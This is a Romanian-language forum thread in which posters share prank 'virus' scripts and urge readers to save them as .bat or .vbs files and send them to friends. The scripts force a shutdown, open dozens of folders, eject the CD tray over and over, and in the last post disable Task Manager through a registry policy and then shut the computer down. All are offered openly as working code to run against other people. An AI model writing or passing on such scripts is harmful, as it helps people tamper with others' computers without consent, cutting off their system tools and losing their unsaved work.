fr13nds
UN FORUM DE MILIOANE!!!!
|
Nou pe simpatie:
misha_light pe Simpatie.ro
 | Femeie
25 ani
Bucuresti
cauta Barbat
26 - 47 ani |
|
|
fr13ndsReguliInregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
|
| #2 |
|
|
1) Deschide un nootepad si scrie
Cod:
@echo off
shutdown -s -t 18 -c "Team pacalit hahaha ,, nu te speria ti se va inchide compu  "
2) Salveazal cu extensia .bat
3) Dal la un prieten
ex:Baciulica Wink
Pentru antidot oprirea lui mergeti la start run... si scrieti:
Cod:
shutdown -a
succes
-Astept raspuns Wink
|
|
| |
|
| #3 |
|
|
Acest virus va deschide 40 de foldere Wink
Deschideti un notepad apoi scrieti:
Cod:
md 1
md 2
md 3
md 4
md 5
md 6
md 7
md 8
md 9
md 10
md 11
md 12
md 13
md 14
md 15
md 16
md 17
md 18
md 19
md 20
md 21
md 22
md 23
md 24
md 25
md 26
md 27
md 28
md 29
md 30
md 31
md 32
md 33
md 34
md 35
md 36
md 37
md 38
md 39
md 40
start 1
start 2
start 3
start 4
start 5
start 6
start 7
start 8
start 9
start 10
start 11
start 12
start 13
start 14
start 15
start 16
start 17
start 18
start 19
start 20
start 21
start 22
start 23
start 24
start 25
start 26
start 27
start 28
start 29
start 30
start 31
start 32
start 33
start 34
start 35
start 36
start 37
start 38
start 39
start 40
Apoi salvatil cu extensia .bat
ex: virus.bat , si trimitetil unui prieten
|
|
| |
|
| #4 |
|
|
Acest virus deschide si inchide de 13 ori cdrom
Deschideti un notepad si scrieti:
Cod:
Set oWMP = CreateObject("WMPlayer.OCX.7"
Set colCDROMs = oWMP.cdromCollection
if colCDROMS.Count >=1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
colCDROMs.Item(i).Eject
colCDROMs.Item(i).Eject
colCDROMs.Item(i).Eject
colCDROMs.Item(i).Eject
colCDROMs.Item(i).Eject
colCDROMs.Item(i).Eject
colCDROMs.Item(i).Eject
colCDROMs.Item(i).Eject
colCDROMs.Item(i).Eject
colCDROMs.Item(i).Eject
colCDROMs.Item(i).Eject
colCDROMs.Item(i).Eject
colCDROMs.Item(i).Eject
colCDROMs.Item(i).Eject
colCDROMs.Item(i).Eject
colCDROMs.Item(i).Eject
colCDROMs.Item(i).Eject
colCDROMs.Item(i).Eject
colCDROMs.Item(i).Eject
colCDROMs.Item(i).Eject
colCDROMs.Item(i).Eject
colCDROMs.Item(i).Eject
colCDROMs.Item(i).Eject
colCDROMs.Item(i).Eject
colCDROMs.Item(i).Eject
Next ' cdrom
End If
Apoi salvatil cu extensia .vbs
ex rom.vbs
E amuzant ca deschide dor o singura data pe minut:
|
|
| |
|
| #5 |
|
|
Atentie nu testati pe PC ca ramaneti fara TaskManager!
1)Deschideti un notepad si scrieti:
Cod:
msgbox "Salut!, ai luat un virus frumos!"
strcomputer = "."
HKEY_CURRENT_USER = &H80000001
Set objReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strComputer & "\root\default:StdRegProv"
comppath = "Software\Microsoft\Windows\CurrentVersion\Policies\System"
strEntryName = "DisableTaskMgr"
dwValue = "00000001"
retval = objReg.SetDWordValue(HKEY_CURRENT_USER, comppath, strEntryName, dwValue)
Wscript.echo retval
msgbox "Daca nai observat dar nu mai merge TaskManager"
msgbox "Acum o sa merg la plimbare prin hard mai ai 30 sec de trait"
Dim wshshell
set wshshell = wscript.CreateObject("WScript.Shell"
wshshell.run "shutdown -s -t 30"
2)Salvatil cu extensia .vbs
|
|
| |
|
